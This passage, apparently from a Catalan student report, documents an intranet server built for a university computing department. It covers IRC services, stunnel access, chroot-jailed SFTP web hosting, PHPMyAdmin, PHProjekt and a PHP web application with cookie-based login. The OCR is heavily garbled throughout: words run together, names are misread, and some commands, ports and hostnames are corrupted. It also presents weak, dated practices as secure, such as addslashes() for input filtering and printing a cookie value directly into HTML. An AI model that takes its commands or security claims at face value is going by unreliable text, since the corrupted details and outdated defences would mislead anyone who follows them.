pseudonimgue s'usaper comunicar-se)registrarcanals(les salesa on els usuaris
entrenper parlar),entrealtrescoses D'aquestdorma el professorgodriensol-licitar
la reservad'unnick i un canalpertindre ells el control d'aquests utilitzar-los per la

sevacomunicaciéambels alumnesA aquestBots se'lsanomenaserveisd'IRCi he
escollit els Epona IRC Services (http://www.epona.org).

Els serveisEponapermeterals usuarisde I''RC gestionarels seusnicksi canalsde
formasegurai eficient,a mésels administradorgpodengestionada sevaxarxaamb
unes utilitats molt més poderoses que les proporcionades pel propi servidor d'IRC.

Actualment Epona té els seguients serveis:

- NICK: Gestorde nick ambel qualels usuarispodenprotegirels seusnomsper no
serutilitzats per ning mési no sersuplantatsCadausuarité el seupropi grup de
nicksdeformaqueespotregistrarambdiversosnicksi compartirentretotsells els
privilegis dels que disposi.

- CHaN: Gestorde canalsque ajuda als usuarisa administrarels seuscanalsde
forma totalment configurable.CHaN té un llistat intern d'usuarisprivilegiats i
usuarisrestringits(banejats)per controlarl'accésa cadascuriels canalsregistrats.
Elimina elsatacstipus “takeover”’queconsisteixerenaconseguiserl'operadordel
canali pendreel controltreientprivilegis ala restad'usuaristot graciesalesseves
poderoses comandes per aconseguir ser Operador/Desbanejar-se/Invitar-se.

62



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

- MeMo: Fantasticservei que permetenviar missatgescurts a usuarisque no es
trobin connectats en el moment.

- BoOT: Serveique permetals usuaristindre un bot permanenten els seuscanalsde
forma senzilla. Cada bot pot ser configurat per monitoritzar canals en contra d'atacs
de flood, repeticions gscripturaen majuscules paraulesmal sonantsA méspot
gestionarcomandesespecials(!op,!deop,!voice,!devoice,'kick)comunicarpetits
missatgesquan un usuari entra al canal. Tot i aix0, aquestservei pot ser
deshabilitat per reduir el consum d'ample de banda.

» OpeR:ServeipelsOperadors Administradorsd'IRC. Permetgestionara llista de
bansdela xarxa(conegutscom AKILLs o GLINES), configurarmissatgegjuees
mostrararalsusuarisal entraral servidor,establirmodesfer fora de canalsa certs
usuaris, enviar missatges a tota la xarxa rapidament i moltes coses mes.

Per comincar-se i obtenir més ajuda dels Bots s'utilitzara:

/msg nick help
/msg chan help
/msg memo help
/msg bot help
/msg oper help

Tota la informacié d'aquestsserveises troba traduidaa varis idiomes, entre ells el
Castellaque es el que s'haseleccionatDesafortunadamemto existeix captraduccio
al Catala.

Per administrarel serveid'IRC existeixendiferentsrols, algunsdel qualsja hem
esmentael seunom peroarapassarena enumerar-lognordrede menysprivilegiat a
meés:

- Nivells d'IRCd -
Rol que pot tenir un usuari a nivell d'1RC

Local IRC Operator
Global IRC Operator
Administrator

Server Administrator
Technical Administrator
Network Administrator
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- Nivells dels Serveis -
Rol que pot tenir un usuari a nivell dels serveis Epona, a I'ajuda del bot oPeR es
poden veure els privilegis de cadascun.

Services operator
Services administrator
Services root administrator

Per connectar-sal servidord'IRC cal primer establirla comunicaciéamb el tlnel
SSL per que les dades viatgin xifrades amb el programa stunnel
(http://www.stunnel.orgja explicata la secciéde disseny.Seguidamenhecessitarem
un client d'IRC, els més populars soén:

Sistemes Windows

- mIRC (http://www.mirces.com) - El més conegut.

« IRCap (http://www.ircap.com) - Script que utilitza mIRC.

«  XChat (http://www.xchat.org) - Avantatge: és lliure.
Sistemes GNU/Linux

- BitchX (http://www.bitchx.org) - Client de consola.

« Luna (http://lunascript.sourceforge.net) — Script per BitchX.

« XChat (http://www.xchat.org) - Client grafic que usa les llibreries GTK.
« Kvirc (http://www.kvirc.net) - Client grafic que usa les llibreries QT

Per facilitar la connexiés'hacreatun arxiu amb el programastunnelper windows
empaquetajunt amb un arxiu de procésper lots .bat que s'encarregal’'establirel
tunnel amb el servidor. Els passos per realitzar la connexio serien:

1.- Baixar i descomprimir I'stunnel empaquetat per entorns Windows
(http://deim.etse.urv.es/aplicacions/IRC/Windows/stunnel.zip)

2.- Executar stunnel-irc.bat per establir el tinel
3.- Arrancar el client d'IRC que hagi escollit

4.- Connectar-se& localhostal port 6667 0 bé de forma graficao bé especificania
seguent comanda: /server localhost
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Algunsdelsclientsd'IRC, com perexempleXChat,si hansigutcompilatsambsuport
SSL, podriarealitzarconexionssensehaverd'utilitzar stunnel.Nomésindicantcom a
servidordeim.etse.urv.efort 5557),querealitzi unaconexiéseguraamb SSLi que
accepticertificatsinvalids (aixo es necessarperqueel certificat ha sigut firmat per
nosaltres mateixos i no per una entitat externa).

Per aquellespersonesque treballin amb GNU/Linux poden baixar-seel codi de
stunneli compilar-lo,o utilitzar algunpaquetde la sevadistribucié (ésimportantque
siguila versiostunnel3.2x). Quanestiguiinstal-lat,la comandagerexecutar-hseria:
stunnel-c -d 127.0.0.1:6667-r deim.etse.urv.es:555Per entraramb el client es
seguiria els passos 3 i 4 indicats anteriorment.

Les comandes més basiques un cop dintre del servidor son:

/server nom-servidor[:port] Conexié a un servidor d'IRC

/list Llistar els canals

/join #gplurv Entrar en el canal anomenat gplurv

/part Sortir del canal o escrivim la comanda

Iquery nick Iniciar_ una conversaprivada amb un altre
usuari

/msg help help Demana ajuda sobre els Bots

ALLOTIAMENT WEB

Com a servidor per la intranet del Departamentd'enginyeria informatica i
matematiqueso enspodiemlimitar nomésa servir la planaweb del departament,
sind ques'haviad'oferir la possibilitatal personaldel mateixespaiweb per penjarles
seves planes personals.

Per portar a terme aquestproposites van utilitzar 3 tecnologiega comentades la
part de disseny:

» Connexions xifrades amb SSH per pujar/baixar arxius (SecureFTP).
- Gabies chroot per limitar accés al sistema.

- GrsecurityPatchquelimita els usuarisamb/'Us de sockets(tant de tipus servidor
com client).

Pertant, per podertenir-hotot esva configurarun directori“/home/chroot-web’amb
un chroot ja construit. Per tant els directoris dels usuaris seran del tipus
“/home/chroot-web/home/[usuari]encaraque ells com a usuarisengabiatsnomés
veuran “/home/[usuari]’. Per permetre I'accés al sistema per pujar/baixar arxius amb
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SFTPs'hade crearun compteal sistemaqueindiqui quela sevashellésJail Chroot,a
mésaquestusuarino noméspodrapujar/baixararxiusamb SFTPsin6 que tambées
podraconnectaramb SSH per accediral sistemaremotamentaguestacaracteristica
no eranecessarigero si imprescindibleper poder habilitar I'SFTP, per aixo es va
pendrela mesurad'engabiaaquestipus d'usuariga queno tenenperquéaccedira tot
el sistemaUn cop creatl'usuarial sistemas'’had'afegiral chroot,tots aquestgassos
estan descrits a I'annex A corresponent a les tasques administratives.

Per servir les webs personals es va configurar el servidor web Apache de forma:

Adreca Referencia real
http://deim.etse.urv.es/~usuari /home/chroot-web/home/usuari/html
https://deim.etse.urv.es/~usuari  /home/chroot-web/home/usuari/shtml

Pertant, un usuariambespaiweb, un cop accedeixiper SFTPha de deixarles seves
planesweb a seudirectori personahtml/ si no vol encriptaciéj a shtml/si vol accés
xifrat amb SSL.

Per aquesttipus d'usuaritambées té habilitat el suportPHP de forma que puguin
gaudirdela generacide paginesveb dinamiquesja quea méstambése'lsofereixla
possibilitatde tenir accésa unabasede dadesMySQL. Perpodertindre unabasede
dadess'ha de demanara l'administraciola creacio d'aquestai l'assignaciod'un
usuari/passworgerpoderutilitzar-la. Els usuaristindrandosmeétodegeraccedirala
seva base de dades un cop creades:

+ SSH + mysq|
Si esvol accedira la basede dadesdirectamenambla shellde mysql, els usuaris
han d'entrar al sistema mitjancant SSH i a continuacio executar:

mysql -p -uusuari_bd -h 127.0.0. basedades
Aix0 el quefa esaccedira la basede dadesutilitzant la connexidvia xarxa, pero
comla connexidesrealitzalocalmenta la propiamaquina(127.0.0.1)no surtcapa
I'exteriori pertantles dadesno podensercapturadeper algu que estiguiespiant
des d'un altre ordinador.
- PHPMyAdmin
Accedinta https://deim.etse.urv.es/myseg pot realitzarunaconnexioa la basede

dades utilitzant un interface web que explicaré més endavant.

Per poder pujar/baixararxius amb SFTP existeixendiferents clients per diversos
entorns:
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Entorns Windows

WinSCP2 (que el pot trobar a http://deim.etse.urv.es/aplicacions/SSH/Windows/)
SecureShellClient (http://deim.etse.urv.es/aplicacions/SSH/Windows/)

Entorns GNU/Linux

sftp (client de consola simple que proporciona el paquet OpenSSH)
yafc (client de consola molt potent http://deim.etse.urv.es/aplicacions/SSH/Linux/)

PHPMvyAbwmin

PHPMyAdmin és unainterfaceweb que pot gestionardes d'un servidor sencerde
basede dadesMySQL fins a una simple basede dadesdintre del servidor. Les
principals possibilitats de PHPMyAdmin soén:

« Crear i esborrar bases de dades

-+ Crear, copiar, esborrar, renombrar i alterar taules

+ Fer el manteniment de taules

- Esborrar, editar i afegir camps

- Executar qualsevol ordre SQL, inclus ordres en batch

« Gestionar les claus de camps

- Carregar fitxers de text dintre de les taules

- Crear i llegir bolcats de taules

- Exportar dades als formats CSV, XML i Latex

+ Administrar multiples servidors

« Gestionar els usuaris de la MySQL i els seus privilegis

« Comprovar la integritat referencial

- Utilitzar les crides-per-exemple o query-by-example (QBE)

« Crear grafics PDF de l'estructura de la base de dades

- Cercar global en la base de dades o en un subconjunt d'aquesta

- Transformacionsde la informacié en qualsevol format utilitzant funcions
predefinides, com mostrar BLOB-data com una imatge o links, etc...

- Traduit a 42 idiomes diferents, inclos el Catala

Al realitzarla configuracidinicial hem de decidir quin metoded'autentificacioes
realitzara als usuaris, els possibles sén: http authentificate mode, cookie
authentificatemodei config authentificatanode.Comgueenel nostrecasvolemque
gualsevolusuaridela MySQL puguiaccedirala sevabasede dadess'had'establirun
meétodetipus cookie,que com el propi nomindica, utilitza cookiesper identificar els
usuaris.
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Peraccedira PHPMyAdmin les connexionses realitzaranxifradesamb SSL ja que
requereix autentificacio, la seva adreca és https://deim.etse.urv.es/mysq|l.

PHPRroJEKT

A diversesassignaturesonadeger professorsiel departamentitilitzen unaeinade
treball col-laboratiuvia web anomenaddBSCW, pero aquestano es lliure, només
regalenuna llicencia gratuita per cada departamentd'Universitat. Per tant, vaig
estudiada situacidodel campd'einesdetreball col-laboratiuvambinterfaceweblliures,
trobant la seguent:

phpGroupWare (formalment conegut amb webdistro)

Consisteixen unaeinade grup multi-usuariescritaen PHP. Disposad'unainterface
web amb calendari,llista de cosesper fer, agendamail, capcaleresle noticiesi un
gestord'arxius. El calendarisuportaeventsrepetitius. El sistemade mail suporta
grafics i arxius adjunts. El sistemasencersuporta preferenciad'usuaris, temes,
permisos d'usuaris, multi-llenguatge i grups d'usuaris.

Després d'instal-lar i avaluar phpGroupWare vaig veure que no cobria
satisfactoriameries necessitatsgs mostravamolt inestablei confus,pocintuitiu. Es
notamassaque estanen unaversié 0.9.x que encarano esla definitiva. Pertant, va
guedar descartat com a substitut de BSCW.

La seguent alternativa disponible es tractavBldErojekt:

PHProjektes unaaplicaciomodularqueté com a objectiula coordinaciod'activitats
engrups,ajudaa compartirinformaciéi documentautilitzant unaintraneti Internet.
PHProjektestadisponibleen 28 idiomesinclos el Catalai pot utilitzar 6 tipus de
basede dadeddiferentsinclosala MySQL. Els principalscomponentsle PHProjekt
soén:Calendaride grup, gestiéde projectes sistemade targesd'hores gestord'arxius,
gestor de contactes, client de mail i uns altres 9 moduls més.

A continuacidpassenadescriurdes sevescaracteristiquegenerals especifiquesle
cada modul:

General:

- Estructura modular

- Diferents graus de privilegis

- Sistema de grup opcional

- Accés ldap per usuaris i contactes

- Suport per 28 idiomes inclos el Catala

- API per incloure altres aplicacions

- Instal-lacio, actualitzacio i configuracié molt bé documentada
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Calendari

- Mode simple: vistes per dia, setmana, mesos i llistat complet
- Mode grup: vistes d'horaris compatrtits per diversos usuaris

- Insercio d'events en els horaris d'altres usuaris

- Creacio de perfils per grups

- Events repetitius: cada dia, setmana, mes o any

- Assignaci6é de comentaris, contactes o projectes a un event
- Possibilitat de mantenir un event privat o permetre accés public
- Sel-leccio de l'inici i final de I'event fent click

- Reserva de recursos (e.g. Habitacions) pels events

- Recordatoris via SMS o email

- Impressio de cada vista

Agenda Contact manager)

- Importacié/Exportacioé de contactes a diversos formats

- Possibilitat de tindre contactes privats o oberts a lI'accés de tothom
- Taula per veure tots els membres del projecte

- Ordenacio per totes les categories en qualsevol sentit

- Historia: vista de notes per un contacte

- Sistema de filtracio

Time card system

- Botons rapids per iniciar o finalitzar

- Assignacio6 de dies laborables a diferents projectes

- Visualitzar tots els usuaris que estan treballant en aquest precis instant
- Resum mensual

Projectes

- Subprojectes amb profunditat ilimitada

- Llistat de projectes en estructura d'arbre

- Estat del projecte mantingut per un cap

- Assignacio de cites pels projectes actuals

- Resultats estadistics: qui ha treballat en quin projecte
- Diagrames de Timeline/Gantt per tots els projectes

- Vista de les notes o arxius relacionats
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Chat

- Veure els membres que estan online
- Guarda la discussi6 actual en un arxiu

Forum

- Vista per temes (threads) en forma d'arbre
- n elements per pagina

- Sistema de filtracio

- Impressio de posts

Control de peticions Request tracker)

- També anomenat sistema de tiquets per resoldre problemes o ajuda a l'escriptori
- El client afegeix peticions en una pagina especial

- Cercador del coneixement base per resoldre peticions

- Confirmacio per mail automatica

- Assignaci6 d'usuaris automatic o manual

- Llistat i vista de formulari

- Ordenacio i funcions de filtratge

- Definicié de peticions com a subprojectes

- Assignaci6 de temps de treball a la peticié (per poder calcular costs més tard)

Mail client

- Accés pop3 o imap

- Rebre/enviar mails

- Format ascii o HTML, adjunts

- Suport per diversos comptes

- Regles per assignar mails a carpetes

- Visualitzacié dels mails en estructura d'arbres amb carpetes
- Suport per Fax i SMS

Files

- Arxius, intranet links i directoris

- Estructura d'arbre amb carpetes

- Sistema d'accés restringit per cada arxiu

- Vista en taula de tots els documents relacionats amb tots els grups
- Filtratge per llistes d'arxius

- Ordenacio per totes les categories

- Seccib per pujar arxius (upload)
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Notes

- Guarda els memos i idees personals
- Resum rapid de totes les notes, funcions d'edicio
- Assignacié d'un contacte o projecte a una nota

- Possibilitat de mantenir una nota privada o obrir-la per donar accés a tothom

- Copiar o enviar per mail a un altre usuari
- Cercador de text

Bookmarks

- Llista rapida d'adreces importants
- Editor per la introducci6 de noves adreces
- Comprovacio per entrades duplicades

Voting system

- Sel-leccio6 de persones individuals per votar

- Editor per crear la votacié/enquesta

- Fins a 3 possibles respostes (simples o multiples)

- Vista de taula de totes les votacions actuals o pasades

Administration

- Accés per password només a administradors

- Gesti6 de grups, usuaris, projectes, recursos i timecards
- Comprovacio de links trencats en els bookmarks

- Esborrat de temes antics (threads) del forum

- Altres...

Todo list

- Insercio rapida de petits memos

- Usuari amb estatus “chief” pot assignar “todos” a altres
- Llistat amb opcié d'esborrat

Reminder

- Petita finestra que mostra els events actuals
- Opcio6 addicional: alertes abans d'un event
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Search System

- Cerques de text completes en moduls simples
- Cerca en tota la pagina web

Per tant, PHProjektsi que oferia una amplia gamade possibilitatsper cobrir les
necessitatgeneradeamb BSCW, a mésesva mostrarmolt establedesd'un primer
momentdonantuna sensacidde robustesamportant. Actualmentestasentavaluat
pels professorsque feien Us de BSCW a les sevesassignatureper estudiaruna
possible migracio.

APLICACIO WEB

A continuacio passoa descriurecom ha sigut implementadal‘aplicacié web per
servidor de la intranet del Departament d'enginyeria d'informatica i matematiques.

* ORGANITZACIO GENERAL

La paginaweb es troba dividida en dos branquesprincipals:la part accessibleper
tothomi la part d'administracidque requereixencriptacioper evitar que les dades
d'accés i els canvis viatgin per la xarxa de forma clara.

Caracteristiques generals de l'impelementacio:

Totes les pagines fan s de la fulla d'estils ubicada a "html/estils/hoja.css"

Practicamenia totalitatdelsformularispassera informaciéambel metodePOST
per evitarla facil edici6 de dadesa I'adre¢cadel navegadorExisteixenexcepcions,
a les seccionsnomésde consultess'ha utilitzat metodesGET per facilitar el
linkatge des d'altres pagines.

« Sempreque es rebia informacié des de formularis he fet Us de la funcio
"addslashes()'per anul-lar caractersespecials per tant impossibilitar qualsevol
intent d'aprofitar-se per tenir accés a més privilegis.

- S'hautilitzat la segliennotacio:Quanunaplanaaccedeidirectamentala BD per

consultaro realitzarcanvisel seunom acabaraen [nom]db.php.Trobemalgunes
excepcions en pagines a on s'han de realitzar comprovacions o llistats extres.
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* PAGINES D'ACCES SENSE ENCRIPTACIO

Directori: HTML/
* Accés amb http://deim.etse.urv.es

La partaccessiblgertothomestrobasota"html/". Totesles paginesde novacreacio
(les que sén mantingude<en el seuformat original no) tenenextensié.php ja que
agafararel menude I'esquerrad'unarxiu concretutilitzant funcionsde PHP.Es a dir,
hi hanmoltespaginesque sonestatiqueperonecessitefiPHP perafegir el menu.He
decidit centralitzar-hoper facilitar I'ampliacié de seccionso la reestructuracide la
web, d'aquesta forma els canvis només afecten a un arxiu.

—MULTI LLENGUATGE

Un delsrequisitseraquela paginatinguesla informaciéessenciaén catala,castella

anglés.Perportaraixo a termehe escritun arxiu anomenatlanguage.inc’que conté
un enllaga codi enjavascript(cookies.js) 3 imatges(catala,english,castellanojjue
el quefan al serclicadesesestablirla cookieLANG a“cat”, “en” o0 “es” segongjuin
idioma hagi seleccionat.Tota paginaque es pugui canviar d'idioma ha de fer un
“include” d'aquest arxiu per visualitzar les opcions.

A més,tenim tots els botonsde I'aplicaciéweb traduitsa tots els idiomes.Es poden
trobar a images/xx/a on “xx” sera“cat” per catala,“en” per l'anglési “es” per
castella.D'aquestadorma, les paginesmultilinglesficaran les sevesimatgescom el
seguent exemple:
Al inici de la pagina:
$lang = $_COOKIE["lang"];

| després totes les imatges que tenen texte:

<....src="images?php echo $lang ; ?brnar.jpg"...>

Deforma queatotselsdirectorisde lesimatgestraduidesexisteixun tornar.jpgpero
cadascuren el seuidiomacorresponentAixi la paginamostrarda imatgedel'idioma
seleccionat (que tindrem a la cookie).

Una de les parts essencials traduir era el menude navegaciéesquerratotesles
paginesque tenen aquestmenu han d'incloure I'arxiu “menu.inc” el cual alhora
inclourael mendenl'idioma que correspongusegonda cookie quetingui el client:
“menu_cat.inc”, “menu_en.inc’o “menu_es.inc”.l a mésincloura el diccionari de
I'idioma corresponentaixo ho explicaremmésendavantPertant, sempreque s'hagi
d'afegir,treureo modificar algunacosaal menude I'esquerrade la paginaweb s'han
de modificar aquests3 arxius: “menu_cat.inc”, “menu_en.inc’o “menu_es.inc”’a
més, s'ha de tenir en compte que els links especificats a aquest arxiu han de ser
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absoluts(no relatius) per funcionar correctamentdes de qualsevolseccié. Aquest
sistemaamb3 arxiusrepresentguetenim el menucentralitzainomeésen 3 fitxersi no
cal anar pagina per pagina modificant.

Comja hemdit abansgxisteixentambéun diccionariambtextscurtspercadaun dels
idiomes:“text_cat.inc”. “text_en.inc”i “text_es.inc”.Aquestscontenenun array del

tipus:
$text = array (
'Data’=>'Date’,
"Titol'=>"Title',
o)

De forma quea les planesque hagind'usaraquestdexts haurande ficar <?phpecho
$text[Data];?>i com el diccionariha sigut carregatautomaticamenpel “menu.inc”,
imprimira per pantalla el text en l'idioma que correspongui a la cookie que té el client.

Les zones traduides soén:
Tot el mend de navegacié esquerra
Pagina principal: index.php (Es poden tindre novetats/noticies en 3 idiomes)
Localitzacié
Fotos
Propostes de tesis
Cercar tesis
Llistat de personal
Cercar personal
DEIM Webmail

—PARTS DINAMIQUES

Les parts dinamiques es troben a:
cercar/
deiminaris/
novetats/
personal/
tesis/

La informacié que necessitenes troba a la base de dades"deim" de MySQL.

L'especificaciddela BD estrobaadjuntaa aguestalocumentaci@ I'arxiu "deim.sqgl"
(espot trobara html/private).S'hacreatun usuariespecificamb permisosde només
consulta anomenat "webdeim".

* Per realitzar canvisa la BD es fara amb un altre usuari amb privilegis per
modificar la BD, d'aquesta forma augmentem la seguretat del sistema.
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Perrealitzarla connexiécontrala basede dadeses fa Us de la funcié "Conectar()"
definidaa I'arxiu "private/connect.inc"al qual estrobendadescritiguescom el nom

d'usuarii el passwordper connectara la BD. L'arxiu a "htm/private" es diferentde

I'arxiu a "shtml/private" perqueal primer es connectardaambun usuaride privilegis

restringits(nomésconsultes) al segonambun usuariavanca{permisosd'escriptura),
d'aquestdormadiferenciemles necessitatsle la partpublicai la segurancrementant
el nivell de seguretatSi esmodifica el passwordl'aquestsisuarisa la Basede dades
mysql, seraenaquestarxiusa on s'haurade modificar per permetrd'accésa la web.

He utilitzat tipus de connexiépersistentde formaquesi ja existiaunaconnexidéamb

la basede dadesamb el mateix login i password,es reutilitzara aguestai no es

realitzaraunanovamillorant el rendimentdel serveiweb (peraquesimotiu tampoces

tanquen les connexions després de fer s d'elles).

El directori "private/" (el de html/ i el de shtml/) estaprotegit des de I'arxiu de
configuraciodel'’Apache(/etc/apache/httpd.confle formaqueninglpot accediramb

el seu navegador al seu contingut. A més, l'arxiu te els seglients permisos per protegir-
lo d'un accés directe al sistema: -rw-r----- webmaster apache connect.inc

MCERcADOR

Directori: CERCAR/

Cercadoiphpdig,anteriormengestavantegratplenamentala web, perova resultartot
un problemaper realitzaractualitzacionsaixi que he optat per no fer unaintegracio
excessivaEl quesi s'harealitzatha sigut la traduccidal catalai em separata seva
administracio6 per ficar-la amb accés SSL.

Nomeésindexaralinks normals,no formularis.Pertant si volem queindexi partsde la
webqueala vegadehande rebreparametregjtilitzaremel metodeGET perfer links
amb parametres de l'estil: http://deim.etse.urv.es/veure.php?pag=10.

A "html/cercar/includes/common_words.td$trobaun arxiu amb les paraulesmés
comunesde diferents llenguatges,com veurem més endavant,aquestarxiu sera

utilitzar pereliminardela BD aquestipusde paraulesjueno aportengensde qualitat
al cercador.

MSEMINARIS

Directori: DEIMINARIS/
Seccidéamb el deiminaris(seminaris)que esfan al DEIM. Es podencercarper cicle

(e.g.2002/2003)i visualitzar historics.A méssi n'hi ha nouses mostraraun llistat
d'ells.
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Persabergquin esel properdeiminiarifem unaconsultaals quetenenunadataigual o
posterioral'actuali d'aquestseleccionenel quete la dataméspetita.No visualitzem
la data ni hora dels que la tenen com 31/12/999923:59:59 perqué aquestssén
seminaris amb data no determinada.

Quanvisualitzemun deiminarien concrettenim la possibilitatde crearun PDF per
imprimir-ho. Per portar a termeaquestaaccio, s'hafet Us de les classe-PDF 1.51
(ubicata html/fpdf/), aguestsoftwareeslliure i espot modificar lliurement,a mésno
utilitza capaltre llibreria extra. El text ques'incloual pdf passaperla unafuncio de
formateigque estrobaa "html/private/text.inc" Ja qual s'encarregale treureels tags
html.

MNoveTats/NoTiclES

Directori: NOVETATS/

Seccib per les novetats/noticiegle la web, es pot veure un historic de totes les
novetats/noticieagrupadesie 10 en 10. Perparametrg GET) indiquema partir de
guina noticia es vol visualitzar. Hi han novetats en els 3 idiomes.

La planaprincipal html/index.php(que es visualitzadirectamental entrara la web)
accedeix a les novetats per mostrar en portada les ultimes 5 novetats/noticies.

MPersonAL L DEIM

Directori: PERSONAL/

Seccié amb el personal del departament, es pot cercar (per qualsevol camp) i llistar. El
llistats espodenordenarpernomi perarea(fent click ales capcaleres)a mésespot
treureun llistat enpdf perimprimir facilment(segongnquinavistaestemsi tenimel

llistat per nom o per areael pdf correspondral mateix ordre). Aquestaseccidesta
disponible en els 3 idiomes.

En aquestaseccio s'utilitza un parell de funcions ubicadesa "html/private/func-
personal.inc" que tradueixen noms d'arees als seus AlD i al contrari.
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MProprosTES DE TESI

Directori: TESIS/

Seccibamb les tesispropostesper professoradel departamentEs podemcercarper
gualsevol camp i llistar totes. Aquesta part de la web esta disponible en els 3 idiomes.

En aquestaseccios'utilitzenunasériede funcionsubicadesa "html/private/func.inc”
les qualsrealitzentransformaciongntrel'lD d'unapersonagl seunomi el seulogin,
i transformacions entre el CID d'una categoria i el seu nom.

—PARTS ESTATIQUES

Les parts estatiques:
presentacio/
ajuda/
images/
recerca/

MAJUDA

Directori: AJUDA/

Aqui es pot trobar una extensacol-leccié de manuals/tutorialsmolt utils pels
estudiants.

MImATGES

Directori: IMATGES/

Aqui s'ubiquenles imatges de tota la web, normalmenttrobarem que a cada
subdirectorihi ha un link simbolic capaquestdirectori, aixi esmantenerels links a

imatgesenleswebsdeformameéssenzilla.Comja hemexplicatal inici anteriorment,
ameéscontéelsdirectoriscat/, en/i es/a on estrobenlesimatgesambtext traduides
(les de cat/ tambées troben a images/,estanduplicadesperquehi ha planesque

utilitzen el sistema multilingle ja explicat i d'altres que no).
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* PAGINES D'ACCES AMB ENCRIPTACIO SSL

Directori: SHTML/
* Accés amb https://deim.etse.urv.es

Aqui s'ubiquenles paginesque requereixenun tractamentespecialdegutal risc de
seguretatjuesuposenPeraccedira aquestaeccids'’hade fer ambun navegadoque
permetil'ds de I'encriptacié (SSL), d'aquestaorma la comunicaciéentre el client
(internauta) el servidoresfarade formaxifrada, ningd podraveureles nostresdades
d'accés ni els canvis que hi fem.

* Aquestazonaaccedeixa la basede dadesutilitzant l'usuari "webdeimadmin'el
gual té privilegis per modificar la BD. Aixi diferencieml'accésa la BD de la part
publica de la part d'administracié, incrementant la seguretat.

* Enlesseccionsa on espodeninsertar textsen format html s'hanfet Us de funcions
de formateiglocalitzadesa "shtml/private/text.inc"Les quals s'encarregade deixar
passarnomésels tags permesostransformarnewlinesper <br>, espaisper &nbsp;
etc..

La paginaprincipal constad'un formulari al qual hauremde introduir les nostres
dades d'entrada: nom d'usuari (login) i el password.

—METODE PER L'AUTENTIFICACIO D'USUARIS

L'usuariintrodueix les sevesdadesd'accésal formulari de "shtml/index.php",aguest
les passaa "shtml/cookie.php“el qual, desprésd'afegir-li una cookie amb el login

introduit, buscaa la basede dadesalgunaentradaa on coincideixi el login i el

passwordsi no trobacapli fica al'usuariunacookiede sessidbuidai el redirigeixa

"login.php" el qual li negara l'accés.

Si trobaunaentradacorrectaper|'usuari,escrearaun string aleatoride longitud 32 i
es guardaraa una cookie amb nom sessiéi a més,es guardaraa la basede dades.
Seguidament sera redirigit a "login.php".

A partir d'aquespunt cadapaginavisitadadins del directori"shtml/" faraunacridaa
l'inici del document a la funcié "ident()" sense parametres definida a
"shtml/private/ident.inc". Aquesta funcio té doble Us:

- Si no li passem cap parametre I'utilitzarem per validar la sessio, es a dir, compara el
login i la sessidde les cookiesdel client amb les dadesque te a la BD. Si no son
correcteno permetrarla carregaotal dela pagina.Si la sessiéno te unalongitud de
32 caracters tampoc sera autoritzat.
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- Sili passemun parametrda funcié validaragueel parametrgpassatsel password
del'usuariactual.Aquestaacciéensseradtil perquanun usuarivulgui canviarel seu
password.

Per tant, amb la crida d'aquestauncié ens assegurengue un usuari no autoritzat
accedeixi a una pagina d'administracio.

Per acabar la sessio el usuari fara click a "Tancar sessi0" que apuntaraa
"desconectar.phpgquestrxiu s'encarregaree esborrala sessicdela BD i eliminar
les cookies "login" i "sessio" de l'usuari.

Les cookiesquerep l'internautatenenunacaducitatd'l hora. Cadacop que l'usuari
naveguipelsmenusd'administracicel tempstornaraa comptardesde 0. Si arribesa
passarl horasensecapmovimentde l'usuariperla web, la sessiGerminariai hauria
de tornar a introduir el seu nom d'usuari i password.

—SISTEMA DE PRIVILEGIS

La web suporta'accésde diversosusuaris cadascurdels qualspodentenir tasque®
privilegis diferents.

Privilegis per afegir/modificar/esborrar:
Novetats/Noticies
Personal (totes)
Fitxa personal propia
Totes les Tesis i Categories
Només les seves Tesis
Deiminaris
Usuaris

Quanun usuarientraal sistemaal carregarel menuprincipal ("login.php™) noméses
visualitzararles seccions on tingui privilegis per actuar.A més,percadapaginade
les seccionses faran comprovacionger veureque l'usuarirealmentté privilegis per
estaren aguestazona,ja que encarague un usuarisenseprivilegis no podriaaccedir
pel menusi quepodriateclejarl'adrecade la secciomanualmentPerrealitzaraquesta
menade comprovaciongsfa Usdela funcié "autoritzar()"quete coma parametresl
login de l'usuarii la zonaa la que vol accedir,si te permisel deixarapassarsino
visualitzara un missatge d'error i no el deixara continuar. Aquesta funcio

es troba a "shtml/private/ident.inc".

Un usuari que no tingui cap privilegi només podra entrar per canviar el seu password.

Hi ha un superusuaranomenatdmin, el qual té el control total (tots el privilegis).
Aquest usuari no es podra modificar/esborrar en cap moment.
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—ADMINISTRACIO D'USUARIS | LOGS

Directori: ADMIN

Al directori"shtml/admin"estrobentots el arxiusrelacionatsaambla gestidod'usuaris
dela web. Espodranafegir/modificar/esborransuaris.Tot usuarihad'estarassociat
unapersonaesponsablguehad'existirala basede dadesdel personabel DEIM. El
passwordha de tenir unalongitud minima de 5 caracterd no pot serigual que el
login. Aquestegestriccionss'apliquentant aI'nora de crear/modificarusuaris,coma
I'noradel canvidel passworder part del propi usuari.Amb aquesteseglesgarantim
una minima qualitat del password.

Espodrancercarusuarisperlogin, responsable per privilegis (fentun AND logic de
totsels permisosseleccionats)D'aquestdormaseramésfacil localitzarun usuariper
modificar-ho o esborrar-ho.

Per tenir accés a aquesta zona cal tenir el privilegi "Usuaris".

A més, conté 2 arxius (viewlog.php i viewmaillog.php) que pertanyen a la seccio
delogsa on noméd'administradompot accedir.El primer visualitzael log queguarda
les entradesal menu administratiudels diferentsusuaris,i proporcionainformacio
valuosaperdetectaintrusos.El segon(viewmaillog.php)visualitzael log delsusuaris
del webmail, aquesten comptesd'utilitzar la funcié "Conectar()" per realitzar la
conexiécontrala BD utilitzara "ConectarWebmail()ja queel log estrobaenunaBD
diferent.

—ADMINISTRACIO SEMINARIS

Directori: DEIMINARIS

La gesti6 de deiminaris es troba a "shtml/deiminaris". Podrem afegir/modificar/
esborrar, inclus cercar segons el cicle al que pertanyen per facilitar I'administracio.

Al afegirdeiminarishi hanmolts campsquetenenun valor perdefectecomqueesel
valor quenormalmens'utilitza, estalviarememps.L'any esl'actual,el cicle fica el de
I'Gltim deiminari introduit, la resta de valors per defecte soén fixes.

La datai horapodenno especificar-seper aixo hauremde marcarla casella’Sense

determinar"A la basede dadesesguardarecoma 31/12/999923:59:59,i aquestsera
el simbol que identificara els deiminaris sense data determinada.
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En el campcicle delsdeiminariss’hadeficar el primerany del cicle al quepertanyel

deiminari.El programaweb s'encarregarautomaticamende calcularel segientany.

Es a dir, si el deiminaripertanyal cicle 2002/2003 especifiquen2002i el sistema
calculara el 2003 en base al 2002.

